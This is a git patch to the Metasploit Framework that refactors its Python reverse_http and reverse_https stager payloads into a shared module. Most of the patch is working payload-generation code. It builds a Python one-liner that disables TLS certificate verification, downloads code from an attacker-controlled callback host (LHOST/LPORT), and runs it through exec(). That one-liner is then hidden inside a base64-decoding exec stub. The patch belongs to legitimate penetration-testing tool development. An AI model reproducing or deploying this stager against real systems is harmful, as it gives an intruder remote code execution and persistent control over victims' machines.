From 1b495e73aca275c6b2853e2351c4e14a0358eb88 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 26 Nov 2015 13:59:44 -0500 Subject: [PATCH] Further reduce python reverse_http duplicate code --- lib/msf/core/payload/python.rb | 4 +- lib/msf/core/payload/python/reverse_http.rb | 80 ++++++++++++++++++- .../payloads/stagers/python/reverse_http.rb | 49 +----------- .../payloads/stagers/python/reverse_https.rb | 57 +------------ 4 files changed, 87 insertions(+), 103 deletions(-) diff --git a/lib/msf/core/payload/python.rb b/lib/msf/core/payload/python.rb index c2bae66e02..13ce0cde2c 100644 --- a/lib/msf/core/payload/python.rb +++ b/lib/msf/core/payload/python.rb @@ -5,7 +5,9 @@ module Msf::Payload::Python # # Encode the given python command in base64 and wrap it with a stub - # that will decode and execute it on the fly. + # that will decode and execute it on the fly. The code will be condensed to + # one line and compatible with all Python versions supported by the Python + # Meterpreter stage. # # @param cmd [String] The python code to execute. # @return [String] Full python stub to execute the command. diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb index 74fbf4c2b2..a8ca06f98f 100644 --- a/lib/msf/core/payload/python/reverse_http.rb +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -10,7 +10,42 @@ module Payload::Python::ReverseHttp include Msf::Payload::UUID::Options # - # Return the longest URL that fits into our available space + # Generate the first stage + # + def generate(opts={}) + opts.merge!({ + host: datastore['LHOST'] || '127.127.127.127', + port: datastore['LPORT'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + user_agent: datastore['MeterpreterUserAgent'] + }) + opts[:scheme] = 'http' if opts[:scheme].nil? + + generate_reverse_http(opts) + end + + # + # Return the callback URL + # + def generate_callback_url(opts) + # required opts: + # host, port, scheme + if Rex::Socket.is_ipv6?(opts[:host]) + target_url = "#{opts[:scheme]}://[#{opts[:host]}]" + else + target_url = "#{opts[:scheme]}://#{opts[:host]}" + end + + target_url << ':' + target_url << opts[:port].to_s + target_url << '/' + target_url << generate_callback_uri + target_url + end + + # + # Return the longest URI that fits into our available space # def generate_callback_uri uri_req_len = 30 + rand(256-30) @@ -23,6 +58,49 @@ module Payload::Python::ReverseHttp generate_uri_uuid_mode(:init_python, uri_req_len) end + def generate_reverse_http(opts={}) + # required opts: + # proxy_host, proxy_port, scheme, user_agent + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) + } + + proxy_host = opts[:proxy_host] + proxy_port = opts[:proxy_port] + + urllib_fromlist = ['\'build_opener\''] + urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != '' + urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https' + urllib_fromlist = '[' + urllib_fromlist.join(',') + ']' + + cmd = "import sys\n" + cmd << "vi=sys.version_info\n" + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n" + cmd << "hs=[]\n" + if opts[:scheme] == 'https' + # Context added to HTTPSHandler in 2.7.9 and 3.4.3 + cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n" + cmd << "\timport ssl\n" + cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n" + cmd << "\tsc.check_hostname=False\n" + cmd << "\tsc.verify_mode=ssl.CERT_NONE\n" + cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n" + end + + if proxy_host.to_s != '' + proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? + "http://[#{proxy_host}]:#{proxy_port}" : + "http://#{proxy_host}:#{proxy_port}" + cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" + end + + cmd << "o=ul.build_opener(*hs)\n" + cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n" + cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n" + + py_create_exec_stub(cmd) + end + # # Determine the maximum amount of space required for the features requested # diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index c7249c986f..17671eabbf 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' module Metasploit4 @@ -12,6 +13,7 @@ module Metasploit4 CachedSize = 466 include Msf::Payload::Stager + include Msf::Payload::Python include Msf::Payload::Python::ReverseHttp def initialize(info = {}) @@ -33,51 +35,4 @@ module Metasploit4 ], self.class) end - # - # Constructs the payload - # - def generate - lhost = datastore['LHOST'] || '127.127.127.127' - - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) - } - - if Rex::Socket.is_ipv6?(lhost) - target_url = "http://[#{lhost}]" - else - target_url = "http://#{lhost}" - end - - target_url << ':' - target_url << datastore['LPORT'].to_s - target_url << '/' - target_url << generate_callback_uri - - proxy_host = datastore['PayloadProxyHost'].to_s - proxy_port = datastore['PayloadProxyPort'].to_i - - cmd = "import sys\n" - if proxy_host == '' - cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" - else - proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? - "http://[#{proxy_host}]:#{proxy_port}" : - "http://#{proxy_host}:#{proxy_port}" - - cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" - cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" - end - - cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" - cmd << "exec(o.open('#{target_url}').read())\n" - - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - return b64_stub - end - end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 20c0e2a76f..a811706265 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' +require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' module Metasploit4 @@ -12,6 +13,7 @@ module Metasploit4 CachedSize = 762 include Msf::Payload::Stager + include Msf::Payload::Python include Msf::Payload::Python::ReverseHttp def initialize(info = {}) @@ -37,60 +39,7 @@ module Metasploit4 # Constructs the payload # def generate - lhost = datastore['LHOST'] || '127.127.127.127' - - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) - } - - if Rex::Socket.is_ipv6?(lhost) - target_url = "https://[#{lhost}]" - else - target_url = "https://#{lhost}" - end - - target_url << ':' - target_url << datastore['LPORT'].to_s - target_url << generate_callback_uri - - proxy_host = datastore['PayloadProxyHost'].to_s - proxy_port = datastore['PayloadProxyPort'].to_i - - if proxy_host == '' - urllib_fromlist = "['HTTPSHandler','build_opener']" - else - urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']" - end - - cmd = "import sys\n" - cmd << "vi=sys.version_info\n" - cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n" - cmd << "hs=[]\n" - # Context added to HTTPSHandler in 2.7.9 and 3.4.3 - cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n" - cmd << "\timport ssl\n" - cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n" - cmd << "\tsc.check_hostname=False\n" - cmd << "\tsc.verify_mode=ssl.CERT_NONE\n" - cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n" - - if proxy_host != '' - proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? - "http://[#{proxy_host}]:#{proxy_port}" : - "http://#{proxy_host}:#{proxy_port}" - cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" - end - - cmd << "o=ul.build_opener(*hs)\n" - cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" - cmd << "exec(o.open('#{target_url}').read())\n" - - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - return b64_stub + super({scheme: 'https'}) end end